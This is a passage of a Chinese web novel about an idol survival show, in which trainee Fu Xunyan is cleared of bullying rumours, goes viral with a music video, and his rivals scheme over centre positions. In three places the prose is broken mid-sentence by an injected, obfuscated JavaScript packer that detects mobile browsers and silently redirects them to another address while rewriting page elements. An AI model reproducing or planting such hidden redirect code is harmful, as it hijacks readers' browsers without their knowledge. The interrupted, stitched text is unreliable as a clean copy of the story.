原本站在第二位的练习生一愣,下意识张嘴:“导演,我……” 但他很快意识到不该多嘴,尴尬地往后退了一步,将位置让给傅寻砚。 傅寻砚甚至没有露出什么惊讶的神色,这倒是让总导演意识到,或许这个年纪轻轻的练习生早就猜到自己要做什么。 位置一调整,傅寻砚变成了右护法位,可以说仅次于C位,镜头量直线上升。 尽管C位肯定是练习生们集体投出来的,但每年A班的站位可不是根据刚刚的练习生投票,而是节目组综合目前全民投票数和再评级情况自行分配。 而傅寻砚,不论是全民投票数和再评级情况,都绝对在榜首,所以从一开始他就该在左右护法其一。 至于导演为什么一开始将他按在末流——大家心知肚明,只是理解的大概不太一样。 不明真相的,觉得肯定是节目组顾忌傅寻砚的“塌房”,而另几个知道真相的练习生则终于了然——原来节目组一开始就没有放弃这个爆点。 叶莱没有回头看傅寻砚,他直视前方的眼神暗了暗。 导演投放了一个诱饵,有人上钩了,于是在背后之手的推波助澜下制造了“领结事件”。至于傅寻砚知不知情…… 叶莱觉得那不重要,这件事的关键本就在那些练习生的本心,如果他们不那么恶毒,这件事不可能发生。 说到底,这其实都算不上什么“试炼”,只是一个巧合,一个蕴藏了不好的假设的巧合。 13.第十三日 终于挨到了周五,一大早柳雨睁开眼便打开某博,刚戳开排行榜,果不其然大大的爆字前是“傅寻砚起诉”。 甚至从第一位开始,前十有四个词条都与傅寻砚有关,可见热门程度。 三天前,傅寻砚的经纪公司便发出通告,表明他们正在整理证据和进行起诉工作,如果进展顺利,将在周五节目放送前给公众一个交代。 [娱乐圈花田瓜猹:#傅寻砚真相该说不说宝音这公司有事真上啊,澄清还挺及时的] [松松雪糕:#傅寻砚真相得了吧,就宝音那个死德性根本不可能对练习生上心,我看只是因为这次傅寻砚自己证据比较全,而且事情闹得比较大,他们才反应及时吧?] 柳雨心里有些复杂,但将对宝音公司的猜疑先搁置一旁,急忙点开了官网链接。有关于傅寻砚此次霸凌事件的所有证据都被整理好贴了出来。 霸凌确有其事,但施暴者不是傅寻砚,而是封闭小村子里素质低劣的顽童。他们大多出自留守家庭,父母无法管教又太早接触网络,品德坏的不是一星半点。 班级合照里,面目俊秀的傅寻砚被挤到了角落,他面无表情直视着镜头,身上是洗的发白的衬衫。饶是如此,也比身边那一群染了黄毛、表情滑稽的家伙们看起来温良恭俭让。 “据我司调查,高中期间以林某某为首的四人团体对我司艺人傅寻砚存在长期霸凌行为,班主任和同学多有阻止,但林某某受到校长包庇,故其恶劣行为始终未受制止。” “有关于收养傅寻砚的傅爷爷的死亡原因,只能由司法机关出具的文书作为佐证,尽管定性为意外,但在京刑A***案文书中可以了解到,梁某某及其他三人在当夜于田埂附近蹲守,看到人后点燃鞭炮,不排除傅爷爷受到惊吓摔倒的可能性。” “尽管该刑事案件在数年前已经了解,但梁某某等人行迹恶劣,在近日颠倒黑白,污蔑我司艺人,鉴于已对我司艺人造成不良影响,在征得艺人同意后,对林某某等人以诽谤罪起诉,案件已被法院受理,证据如下。” 柳雨颤抖地捂住了额头,静谧的小屋里晨光刚刚从窗户外进来。 蓦然,一声轻笑驱散了灰白的晨雾。 “我就知道,他不会骗人的。” “那群人真是坏啊!” 这个清晨,无数咬着面包端着咖啡,一手戳着手机浏览新闻的人都发出了和柳雨一样的感慨。 前两日傅寻砚的澄清直播在各个媒体平台上都早已破了千万的播放量,无疑成为近日的一大社会热点。但网友吃亏不是一次两次,大部分还是保留了观望态度等着石锤。 今日的证据一出,事件中那几个罪魁祸首经历了一场铺天盖地的讨伐,街上每个群体的话题都离不开这场以骗局开始,以如此悲惨的过往为内容的事件。 “那个叫傅寻砚的娃娃真可怜啊。”切着肉馅的大妈让女儿给自己戴好帽子,女儿一只手拿着手机啪啪啪打字,似乎正在和人吵架。 “是啊是啊。”谈起这个,女儿便义愤填膺,“虽然我不追星,但这次傅寻砚的票我投定了。他的直播澄清片段都被我们老师当做案例拿出来分析了呢,说傅寻砚是少有的有机会直接和骗子对线的艺人了。” “而且思路很清晰,一锤定音。老师告诉我们以后如果遇到不公平事件,也绝对要和傅寻砚一样保持冷静留好证据。” 一上午,整座城市,甚至全国,每个角落都在讨论着一名叫“傅寻砚”的练习生。 长辈抱着可怜的想法心生同情,而年轻人的注意力在看到照片后迅速转移,转头因为脸而入了坑。 女孩嘻嘻哈哈举起手机晃晃:“我八百年不看明星了,但这个傅寻砚的脸和个性都好对我胃口,真男人!” 男友努了努嘴,倒也没说什么,毕竟他的脸和傅寻砚——完全没有可比性,而在此之外他也很欣赏傅寻砚坚定的态度与冷静、有理有据的处理方式。 “诶!” “怎么了?” “雾草《前进吧》这么奸诈的嘛,居然选择和《新世纪》一个时间放MV?不行不行,我得先看《新世纪》,傅寻砚赛高!” “可是……节目不是提前几天录制的吗?前两天那个情况的话,他待遇不会好吧?” “呜呜呜不准说!我立刻看看!” 四五个女孩脑袋凑在了一块,她们小心地环顾了一周确认没有老师和同学经过,转而在黑暗处用亮晶晶的眼睛盯紧了屏幕。 “暌违了四年的梦想”——画面上是好多练习生跳舞的剪影 “我们在沉寂的地方还在努力,为了舞台,为了今天”——有人匆匆在舞房前走过。 “尽管不知道坚持会不会有结果” “但世界上所有的事情本来就是如此,我们无法违心地说只是为了过程,但——” “时至今日,我认为/我认为/我认为”——无数重叠的声线。 “跳着舞的日子,唱着歌的日子,是最美好的。” “那些流过的汗水,嗑出的淤青,从来不需要别人赋予价值。” “它们存在过,便见证了我放手一搏的青春。” “我不害怕前方的未知,我要走上前去” “我仍然相信有朝阳,我仍相信朝阳下的我,璀璨明亮。” 灯光亮起,驱散舞台的黑暗。 镜头闪过,在每个人的脸上停留了一秒,尽管只是一秒,却足以让观众们将A班所有人看清。 “草草草!我要给傅寻砚的脸买一百万保险!这也太帅了!” “真的……太有冲击了了。” 只有两个人感叹了一句,随即大家屏息安静下来,专注得比考试还紧张。 “为了得到温暖,我们向着太阳奔跑 泥泞和山丘,顶着风暴 我们要如流星一样璀璨 在地球人们的眼眸中消失,向另一片星际出逃 Run away,fight again 冲破宇宙黑暗,击碎漫漫长夜 发出新生的通告” 危知彰不愧是危知彰,作为在隔壁国家出道过的偶像,他的业务能力满分,表情管理恰到好处,干净清爽的笑意,让人望而生喜。 但因为开头那一刻的怼脸冲击,仍有不少人下意识去寻找最漂亮的面容。他就在危知彰的侧后方,手长脚长,跳起舞来更是干净利落。 “哇这个wave!导播镜头给的好啊!” 镜头里,青年侧着身体,一手半环抱住腰,在那一个古典里完成了这个wave。他微微低头,明亮的眼睛盯着镜头,含着一点笑意。不同于危知彰,他的笑带着一种让人忍不住探究的神秘,带着些肆意和张扬。 宽肩窄腰,他纤长的手指在深蓝色西装的映衬下格外白皙。衬衫解开了最上面的纽扣,伴随着转身而微微敞开,露出那漂亮的锁骨。 仰头,突出的喉结在灯光的照耀下闪闪发光,纤长的脖颈像天鹅之颈,有着一种濒死的凄美感。 “妈呀!傅寻砚!我要把命给你!” 女孩们被吓了一跳,随机意识到厕所隔间也有人在偷偷看手机。其中一个爬上隔间木板,尴尬地朝对面打了个招呼。 “哈喽姐妹,同担?” 于是乎两波人凑到了一起,空间安静得只剩下外头水池的滴水声和手机里的轻微歌声。 “我飞翔,因为我有翅膀 我下潜,因为我要去看海洋的风光 世界是自由的,我带着理想奔跑 跑到世界尽头,闯入新世纪” 歌曲结束,大家瞬间感到呼吸不畅,这才忘记四分钟的MV,她们根本都没喘过几次气。 安静下来,空中飘下蓝色的彩带,每个练习生都有ending的机会,只是不一定会有单人镜头。 可傅寻砚一定会,所有人都坚信,所有人都在等着。 到了! 蓝色的飘带并没有作妖,它精准地落到了青年黑色的发间,让那霸气的背头忽然多了一份潇洒,更让青年精致的眉眼多了些柔和。 傅寻砚没有做什么动作,他静静看着镜头,只是在飘带坠落的瞬间,轻轻颤了颤眼睫。 如同蝴蝶轻颤翅翼,将流光洒入空气,伴随着歌曲最后一个音的古典,撩拨了看客的心弦。 没有人会觉得他不够生动,不够活泼,他那样的脸,哪怕站着不动,也是一种永恒而看不够的美丽。 可他偏轻轻笑了,比结束时多了点弧度,眼睛里有光,有着一点点淡淡的水汽,像是穿透镜头看到了所有人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15140721|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到了那些嘲笑他的,污蔑他的,更看到了那些支持他的,安慰他的,体谅他的。即便一语未发,也如道尽千言。 “不知道为什么我好想哭……”一个女生脸红扑扑的,眼睛却亮的吓人,她忍不住捂住嘴,雾气迅速迷蒙了视线。 其他女孩也吸了吸鼻子赞同。 只三分钟后,“傅寻砚 《新世纪》MV”就直接越过了其他词条,登上了娱乐榜第一位和总榜第二位。 在随后的一小时内,诸如叶莱等人的热搜也进入了前十,只是热度远远不能和傅寻砚相比。 “救命啊能不能让我变成他鼻尖的小痣,那真是绝美的一点……” “太帅了太帅了,就是那种超绝的意气风发感,然后又在几个动作里隐隐给我一点暧昧。” “超绝钓系”,很快,傅寻砚的个人站里便将真的标签挂在了他名字之前用于宣传。 《新世纪》一下子爆了。 每个人都在这一天感受到了这件事。 发酵于两天前的傅寻砚事件只是让《新世纪》进入大众视野,可《万千星辰》这支MV却将节目送上另一个高度,进入真正受众的视野,并俘获了这些人的喜爱。 “没想到傅寻砚那边的事竟然还有这样的后手,他们公司倒是舍得花力气。”《前进吧》的导演咬着牙将手里的台本摔出去,一众工作人员和实习生大气不敢出。 副导演哀叹一声:“是啊,早知道前两天不应该观望的,应该想办法帮忙把热搜压下去。” 策划组组长觑了一眼,心里嘀咕压个屁,那可是社会新闻榜,你有几个钱几个权去压啊。还有,当时可是你们这群领导拍板推波助澜要火上浇油,想彻底败坏对面口碑的,还花了笔钱炒热度呢,现在倒是不认了。 “没办法,现在换个策略吧。”导演揉了揉眉心,隔着透明玻璃看了看外边还在录制的练习生们——他们里没有一个顶用的,加起来都不如一个傅寻砚。 “接下来就和《新世纪》绑死,如有必要看看能不能炒炒敌台cp什么的,特别是傅寻砚,我记得宝音也有几个练习生在这是吧?实力还行?操作一下吧。” 对于敌台的动作,傅寻砚这边什么也不知道。 “哇居然还能放假!”江瀚一把搂住傅寻砚的脖子,笑得呲着个大牙,“还挺人性呢,笑死,有点像监狱放风。” 远处尹星蘅和达裴他们站在一块似乎在说什么,听到这边江瀚高兴的话看了过来。 他与傅寻砚对上眼,傅寻砚清楚地看到对方眼里的担忧,想了想还是带着江瀚过去了。 “怎么了?” 自从上次在傅寻砚面前“失态”后,叶莱不装了,淡淡回答:“没什么,这个一天放得可是毫无先例,也没什么意义——我们猜,大概是专门为你放的。” “啊?”江瀚没明白,“为什么?” 达裴扯着傅寻砚另一边身体将他从江瀚手里撕开,整个揽在身前,“当然是给老傅时间‘休整’,显得节目组人性化嘛。不过更重要的,大概是让各家练习生回去了解一下目前的形势,对老傅好点,可别做什么排挤的事情。” “要我说挺好的,我们还能蹭一天假期,回去和经纪人、公司商量一下接下来的路线。”尹星蘅对这个假期并无不满。 “毕竟回来之后,节目就要开始直播了,那可是一公开启啊,万一有什么做的不好的地方,可能会被拿出来鞭尸。” 周遭留了个耳朵听着大热选手们讨论的选手们纷纷点头,他们现在心里痒痒得不行,迫切地想知道傅寻砚的事情到底是个什么情况。 听跟他关系好的几个人的语气——怎么好像情况挺明朗?都怪该死的节目组,用心险恶地收掉了他们的手机,还用考试专用的扫描仪检查宿舍…… “诶对了老傅,我们大概明天早上和李哥开个会,下午我打算找海市这边的同学聚聚,他邀请我好久了,你一起来吗?”江瀚个性开朗,全国每个市他都有朋友。 傅寻砚摇了摇头:“不了,我有点其他事情。” 傅寻砚当然没其他事情,对于明天下午要做什么,他竟然有些迷茫。穿越回来,尽管没能挽救爷爷的命,却至少让这件事的始作俑者受到了惩罚。 一事已了,心弦松懈后,他骤然感受到一种空落落。 14.第十四日 不,他还是有事情要做的。 在舆论已经完全逆转的情况下,有关于傅寻砚过去的那个“雷点”已经被排除,而现在要谈论的是他的未来。 他发现,他开始有了一点迷茫。 回来的最初,他的目标仅仅是做真正的自己,在《新世纪》再拼一次,并且防范对江瀚的恶剪,使他不会英年早逝。 但经过了初评级,他有了些迷茫。 纵然形势一片大好,傅寻砚也不得不反思——我所做的这一切的最终目标是什么? 我到底想不想出道?要不要出道,能不能出道? 傅寻砚先回到了住处,是一个很平凡的小区。宝音娱乐只是二线小公司,而傅寻砚之前又是公司里的底层练习生,只能暂时租住在这里。 打开房门,阳光从厨房的百叶窗穿透进来,照得屋子里很亮堂。这套房子不是很大,不足六十平,但对于傅寻砚一个人来说,完全充足。 又已经离家了一周,一些细小的微尘积攒下来,傅寻砚戴好围裙和袖套,准备先做一个大扫除。 他喜欢打扫卫生,因为只有这个时候,能够最大程度地放空自己。 擦拭完地面,清空了冰箱,将床单被套全部洗完后,已经来到了傍晚。 黄昏之下,璀璨的金黄铺洒在垫着白桌布的餐桌上,清俊的少年独自在桌边沉默地用餐。 周遭寂静无声,只有窗外偶尔略过鸟振翅之声与一两声倦怠的啼鸣。 直到用完餐,傅寻砚感觉自己飘荡的意识终于稳固下来。 这一天,这个形形色色的世界注定在发生很多事。 比如有人会在一周的“封禁”后迫不及待地声色犬马,有人会骄矜做作地回学校享受吹捧,有人会和公司高管碰面,暗戳戳痛骂傅寻砚的“炒作”。 而傅寻砚,没有任何动作。 他不想有,也不会有。 没有家人可以分享喜悦,没有朋友可以讨论变化,高中的同学与他有年龄差,加上他因训练而缺掉一些课程,平日里就不熟…… 甚至江瀚也不会陪他,每个人都有自己的生活。 只有李鹏程会联系他。 “嗯……嗯,我会的。” “这次你也算是无妄之灾,虽然处理得不错,但直播澄清你完全没有和我联系过,你考虑过自己的问题吗?” “是的,我知道。” 对面叹了口气:“我是你的经纪人,我希望你深刻了解这一点。面对事情你当然有自己的见解和处理方法,但你必须先通过团队的商量,否则——一个人在这个时代是扛不了流量大旗的,你不仅代表你个人,你还是整个团队的心血。” 傅寻砚沉默——心血什么的…… “对了,你上次和我说的事……” 终于来到了关键,傅寻砚坐起了身子,手指不由自主地轻轻击打桌面。 “我觉得可行。你的合同虽然还剩下两年,违约金也高达一百万,但并不是不能通过你上次说的事情,和小张总达成一笔交易,只不过动作要快,现在你的热度太高,我怕持续下去小张总会不愿意放你走……” 第二天,傅寻砚回到了基地。 而与此同时,购买了《新世纪》的梨子台也按时放出来物料,在静态的公式照后,这一回是动态的自我介绍。 相比修修补补面目全非的公式照,动态视频堪称谎言戳穿机,那些花钱买通节目组ps赚了波小粉丝的练习生们,很容易在这个环节引起群众逆反。 甚至直呼诈骗。 自我介绍很考察一个人的综合素质。尽管大家都是练习生,但职业素养、人品道德与气场涵养完全不一致,很多人的自我介绍看得人抓心挠肺、脚趾抓地。 两三分钟很短,可要把握好两三分钟展示自己的魅力是一项很深奥的学问。有些人卖萌撒娇过火,有些人尽显无聊本色,有些人装模作样立冷都男人设,有些人不惜为火装0。 总之,一百多个人里,你甚至很难找到几个正常人。 不过粉丝总有溺爱的理由,等利用有效手段组织刷屏可爱和喜欢后,似乎就能够让普通观众的情绪得到安抚,产生一种“算了也许这个圈子就是这样”的莫名理解。 但这一回真的不一样,至少《新世纪》不一样。 人们难得的,在一群包装过度、被喧哗的吵闹哄起来的廉价商品里,找到了那么几个看上去像是正经把偶像当做职业来做的。 傅寻砚深谙其道。 虽然他不知道怎么让这个自我介绍的视频看起来更有意思,更戳中粉丝心理,但他比这群练习生更明白怎么做一个普通人。 不能长时间盯着镜头,练习生朴素的妆造不能承受高清4k摄像头的检验,脂粉味太强烈会劝退一批高素质粉丝。 情绪起伏不要太大,容易被打成drama queen或king。 也不要太局促——这一点最忌讳,你必须自然,像是日常说话一样面对镜头,太过生涩的行动或许被视为一种萌点,但同时也是不够优质成熟的象征。 所以在“你们好,我是傅寻砚”的打招呼之后,人们看到视频中穿着节目组统一练习服的男孩立刻微微后撤一步,举起了手中的麦克风。 “嗯,表演个才艺,打一段b-box。” “虽然我很自信不会口水四溅。” 他甚至少见地开了个玩笑,“但为了后面的朋友着想,还是套一层保鲜膜。” 啊,B-box。 等等!B-box? 完全想不到——观众莫不惊呼,经历了“反霸凌事件”后,他们一直以为傅寻砚是个受人欺凌的小可怜,他应该内向、稚拙,因为过于凄惨的童年,他甚至不应该掌握任何技能。 视频中眉眼俊秀的男孩洒脱一笑,仿佛看透了屏幕前的疑惑,解释道:“是进公司后和老师学的,因为一开始有当rapper的梦想,不过现在……还是只会b-box。” 一段话结束,他立刻就开始了。 不同于常规b-boxer,他并不捂嘴,手只是牢牢地握着话筒,只是食指习惯性翘起挡住了一半口型。 没什么实际作用,但观感上确实很酷。 先是一段模仿在杯中倒汽水的声响,然后咕咚仿佛吞咽入肚,在斯哈的爽快声后,人们陡然坠入8D环绕轰鸣。 舌头打造出鼓点,而喉咙却在模仿重低音音箱,观众难以想象一张嘴如何同时发出那么多声音。 更难得的是,他盯着地面,眼睫低垂,却因为过于灿烂的炫技而陡生一种低调的轻狂,完全不同于刚刚所经历的风波中他所展现出的克制与冷静,而是一种无声的喧嚣。 观众莫名觉得揪心。 这个视频是在刚参赛的时候拍的,那时候傅寻砚还没有经历这场盛大的舆论风波,他看上去如此少年意气,虽然不明媚,却足够耀眼。 但现在一切又可能变了——他大概会一夜之间长大,变得成熟、内敛——乃至沉默。 观众在唾骂和指责的浪潮中促成了这段成长,而粉丝则在无辜的被围剿中手足无措地观看了这段成长。 [小甜心傅宝贝:啊啊啊啊我好恨!要不是那些坏人我宝本来是一个多么开朗自由的小男孩!] [山南山北:是啊,真的好遗憾,虽然直播里的傅破碎感拉满,但这时候的他真的好帅有没有人懂,就是那种很嚣张的狂妄] [绝了呀:如果不是你们的讨论,我刚刚看到这个视频真的以为他是那种玩票的富家大少……] [小森林9568;谁说不是呢!坏人还我骄傲小宝贝!] 《新世纪》的打投很有讲究。或许是吃了“前辈们”的经验,它致力于杜绝任何违规行为。按照投票规定,每个账号必须在观看节目满两个小时后才有资格参与投票,并且每个账号每天都有规定的票数,除此外不开放任何以商品为交易的加票策略。 节目组的收益来自于平台流量,以及——未来投资。成团后,队伍将由节目的投资人联合出品。 本来,也许大众会因为对傅寻砚的歉疚心理而涌入节目,为傅寻砚投上这些票数,但“两小时”观看记录的门槛,足以喝退大部分对选秀没有兴趣的路人。 所以事件爆发后,尽管傅寻砚的社会热度很高,这种热度却没能完完全全转化成生产力或价值,他的排名当然靠着粉丝有提升,却不如任何打脸爽文里那样攀升的快。 他从第40名来到了第10 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148737|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名,又因为个人介绍视频广受好评而来到了第8名。 一个处于高位而又仍然危险的排名。 这说明秀芬们虽同情他的遭遇,喜欢他的脸,但仍然对他的实力报以怀疑。 [甜酒一杯:虽然傅哥脸很好,人很苏,但考虑到我家旻海海的事业,我暂时保留我的一票叭] [清愁凝霜:太离谱了吧?前十名之前全都是实力派,傅寻砚凭什么这么混上来啊?] [我儿熏鱼:楼上把你家煮子藏好点吧?寻宝把谁挤下去了,啊是那个鞋拔子脸的棒子啊,初舞台还没放,你怎么知道寻宝不如你家鞋拔子?就是说别太恨帅哥] 此刻,不同于网上一片热火朝天的氛围,属于《风啊,又是一夜雨》的练习室气氛直降冰点。 白镇小心翼翼在高压下瞥了一眼对面,触及周恒宇有些不好的脸色,又立刻收了回来。 周恒宇这个人在练习生里也特别出名,他也是为数不多初评级和再评级都是A位的练习生。更重要的是,他和叶莱同公司。 这一点的重要性在于,叶莱作为一个出道过且手握热门单曲的前辈,在初舞台中的part并不比周恒宇多,这似乎说明了一件事——他们公司比起叶莱,更捧周恒宇。 周恒宇的定位是rap兼舞蹈,他也确实有实力,但问题是,他们这次为了和傅寻砚对打而挑了一首全vocal的歌。 等到定组长和C位了,这位似乎又不干了。 “我想竞选C位。”周恒宇举手,与此同时,本来试图有所动作的邵若舟默默放下手,被他选进来的A班朋友凌远航犹豫了一下。 凌远航虽然是A,但属于各方面都不突出的类型,脸也不漂亮,个性木讷,由于生怕一公选曲时没有人选他,所以早早央求了唯一关系比较好的同宿舍舍友邵若舟。 邵若舟履行了约定,那么看起来他似乎就欠对方一个人情。 而这个人情之所以要还到周恒宇身上,也是因为周恒宇和邵若舟同公司,邵若舟不和周恒宇争,明摆着要送他当C,于是凌远航就也不能争。 有点难过,但也是没办法的事——凌远航安慰自己,或许下次能找到其他机会。 可其他人就没那么“有眼色”了,在他们的队伍里,一名B班的vocal同样表示了选C意向。这是一个长了一张克里斯马脸的男孩,身高很高,但意外的是一名很不错的vocal。 他可不惯着组合里某些人,既然邵若舟把他选进了组,又定了一首vocal曲,他作为组合内唱歌能力最强的选手,不是理所应当站C位吗? “我也想试试。”吴瑞克举手,凌厉的眼神带着笑意看向周恒宇。 可很快,他就发现事情没他想的那么简单——这并不是一场公平的竞争。 “我认为既然是一首纯唱曲目,竞选C位的话我们可以都唱一段,谁唱得好谁就入选。”吴瑞克近乎单纯地提议。 然后另外五人一片沉默。 吴瑞克倒也不尴尬,他在国外长大,个性中多了一分自信和不管不顾向前冲的胆量,“既然大家没有反对意见,我就先唱了。” “风啊,在同样的深夜我又遇上一场大雨 四年前的那天仿佛从未走远 我把行囊背起,我踏上不归的路 转头突然遗憾,我不曾与她打招呼 如今的深夜我再难回忆起当时的心情 那些痛苦就好像只是梦中一场雾 轻飘飘被吹散,恍恍惚惚落心间” 这并不是歌曲的高潮段落,即便是以唱歌拿到了B的吴瑞克,也不能保证自己没有开嗓的情况下把那一段完全高亢的饱含情绪的段落完成,所以他选择了比较平和的开头段。 唱毕,他看向周恒宇。 周恒宇眉头紧锁,然后…… 掏出了笔,在纸上落下毫无意义的一个墨水点,也在无形中宣判了吴瑞克的“死刑”。 “我认为一公还是要讲究创新,对于这首歌,我认为可以把中间段改成念白——rap的一种,富有韵律和节奏的念白。” “吴瑞克你也同意对吧,要不然你刚刚也不会不唱这个段落了,它对于我们来说——” “太难了。” 15.第十五日 …… 神他妈太难了,吴瑞克差点骂出声。 是,他是没唱,那不是因为他不会,而是因为他没练习的情况下略有难度,怕发挥不好而已! 还有,什么叫“改成rap”?——吴瑞克恍惚觉得自己是不是幻听。 “这首歌……rap?念白?合适吗?”他是这么想的,也就那么问了,然后他意识到自己进入了陷阱。 果不其然,周恒宇的眉头忽然舒展了一些,他笑着左右看了看,尤其是对着两个始终未发话的非A班队友多看了两眼,似乎有所鼓励。 “既然吴瑞克你不赞同我的想法,那么我们投票吧,同意把这段改成念白的请举手。” 完蛋——吴瑞克冷汗出来了。 周恒宇玩了一个很巧妙的心机。他把这场斗争从C位这个硝烟四起,一处理不好就会被骂的问题上移开,而转移到了“是否对歌曲进行改编”上。 可是,如果真的合了他的意,那么高潮段落,也就是C位段落,将于情于理只能由rap定位以及建议的提出者周恒宇完成。 高啊,实在是高,吴瑞克哑口无言,只能寄希望于不属于周恒宇阵营的那两人能和自己保持一致,反对这个改编,如此以来3V3,似乎还有协商余地。 但就和心中隐隐约约的不安一致,那两个本就被邵若舟确定没什么主见才选入的D班和F班选手,还是在纠结中选择了同意。 “我赞成,我觉得那样也许更有新意,更能打动观众?”说到最后连自己都不确定,D班的蒋烨有些不安地低下头。 人气就是王道,他一个徘徊在70多名的人,没资格与排在前20的人叫板。而位列第32位的吴瑞克,在他眼里也未免有些不识趣。 “好的,既然如此,我们就通过这个提议了,我会尽快把旋律改出来给大家看的。”周恒宇满意地在高潮段写上了自己的名字,然后环顾一周,“那接下来大家认领自己的段落?” “啊,还有C位,我又忘记了。”他做作地用笔敲了敲头,“C位谁来?马瑞克你还想当C吗?” 马瑞克沉默,马瑞克想反击,马瑞克被抢话。 “啊念白的话其实难度也很高吧,如果没基础会变成鼠来宝。”邵若舟抢在马瑞克说话前开口,他很自信节目播出的时候镜头肯定不会给到马瑞克,“既然你提出的,你肯定更熟悉这一段落,还是恒宇你来吧。” 其他人几乎是下意识点了点头,然后邵若舟立刻将C位标志贴给了周恒宇。 “好啦,我们就这么愉快地决定C位啦。” 真是一场“愉快的交流”,吴瑞克的脸色沉到不能再沉,但很显然没人关心他。 隔壁教室内也在发生着一场“改编风波”。 “救命,球球砚哥你饶过我们——啊不,是我吧,我虽然自认为唱歌还不错,但对改编真的没什么想法啊。”段琪琪高喊,痛苦倒地。 十分钟前,作为将大家召集起来的人,傅寻砚谈了谈他对这首歌的看法。在抢歌前他就已经和组里的五个人商量好,大家对唱这首歌没意见。 同时,高位选手带给其他人的隐形压力能决定很多事,就譬如隔壁组不敢对周恒宇大声,这个组的所有人也不想在镜头前不给傅寻砚面子。 拜托,傅寻砚现在几乎有了一层无敌buff,他的那个事件可是引起全民轰动,现在谁欺负他谁就是罪人好吧。 傅寻砚也感受到了这一点,他并不觉得这是好事情。 这些人并不是因为实力而尊敬他,只是因为不想惹麻烦在疏远他。 傅寻砚尽量让自己看起来悠闲地坐在地上,将纸放在中间,大家围坐成一圈。 容貌昳丽的青年看起来很真诚,“希望大家不要误解我的提议,我并不是要大家真的每人改一段,因为那样反而会让歌曲变成一个裁缝作品。” “我的意思是,第一,大家愿不愿意改编这个作品?第二,有没有人想要尝试一下改编,具体怎么改可以商量着来,我,或者其他队友都可以协助。” “我对于第一点的建议是改,原唱陈老师的版本很抒情,诚然他一个人唱可以渲染出一种非常寂寥动人的氛围,但我们要把它搬到选秀舞台上,节奏就显得过慢了。” “而且很重要的一点是,他的嗓音很浑厚,人生阅历也很丰富,我们组里说实话都是细嗓,是不可能唱出他的效果的。” “基于这些原因,我个人的建议是改,但如果大家觉得不用改,原作风味比较适合的话,我也完全能够接受。” 傅寻砚的话说的很坦诚,而且理由充分,说服力很高,原本一听说要改编就觉得麻烦的几人不知不觉也站在了傅寻砚一边。 年龄还小的段琪琪趴在地上撑着脑袋,突然以一种亮闪闪的眼光看向傅寻砚。 “傅哥,如果我们都不行的话,你能承担改编的重任吗?我记得初舞台你的那首自作曲老好听了,就是——我们怕比较麻烦你,这样工作量会不会太大……” 其他几人终于露出了讨论以来最轻松的表情,狠狠点头——没错!他们的犹豫和反对不是完全来自于傅寻砚的高位压制,而是…… 怕任务落到自己头上啊! 傅寻砚看起来就很严格的样子,万一改不好拖累他,到时候得挨多少人骂。 傅寻砚倒是没想到答案是这样,心底突然一酸涩,然后仿佛塌陷了一块,变得柔软。 上一次,他对组里的这几个人都不了解,他们从来没有合作过,他以为…… 不,他们不是这样的。 不应该把人性想得太过残忍——傅寻砚告诫自己。 “那傅哥,要不C位你也……”段琪琪说话有时候太快,意识到自己犯错后只好讨好地双手合十朝镜头拜拜,希望导演把这段剪掉。 但其他人立刻表态。 “不不不,C位确实傅哥合适。”白镇发言,他一脸赞叹地看着傅寻砚,“就傅哥这脸,绝对是大杀器!” “对对对,傅哥你选人的时候不是说觉得我们都帅吗?傅哥你最帅,你站中间我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15153909|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也比较定心。”顾峰,一个有些壮硕的男孩深表赞同。 但傅寻砚并不要这个C位,不是顾忌什么,而是—— “我不行。”他摇头,“B唱段有一个很长的高音,我会选择B段。” 这个事情毫无疑问,因为F等级已经说明了,除了傅寻砚无人有能力抗下这一段。 “那C……” 几人陷入深深的惆怅,他们想要C吗?当然,但如果C不需要唱不需要跳他们才有勇气上。 傅寻砚已经摸清了几个人的想法和个性,可以看得出来由于实力的缺陷全部不太自信,生怕自己的表现惹人讨厌。 “那么我做一个提议吧。先声明,我并没有偏袒任何一个人的意思,如果对我的安排你们不满意,都可以提出来。” “C位就由段琪琪站,你年纪小,这种稚嫩淳朴的感觉和原唱刚好反差,可以形成一种呼应。” “A唱段是白镇,你的角色是导入部分,选你的理由也很简单,你的声线有一种沙哑的低沉感,作为铺垫进入的话,与原作不那么突兀,也可以隐藏后面段琪琪的惊喜。” “D段是蒋峰,承担的是过渡段,虽然不会特别吸睛,但在团队中的角色很重要,你的发挥能很有效地把白镇和段琪琪衔接起来。” “E段和F段就是彭思源和蒋安你们两个。” 傅寻砚看向那两位模特出身的帅哥,他们的脸特别不平易近人,而是一种全然锋利特别的帅气。 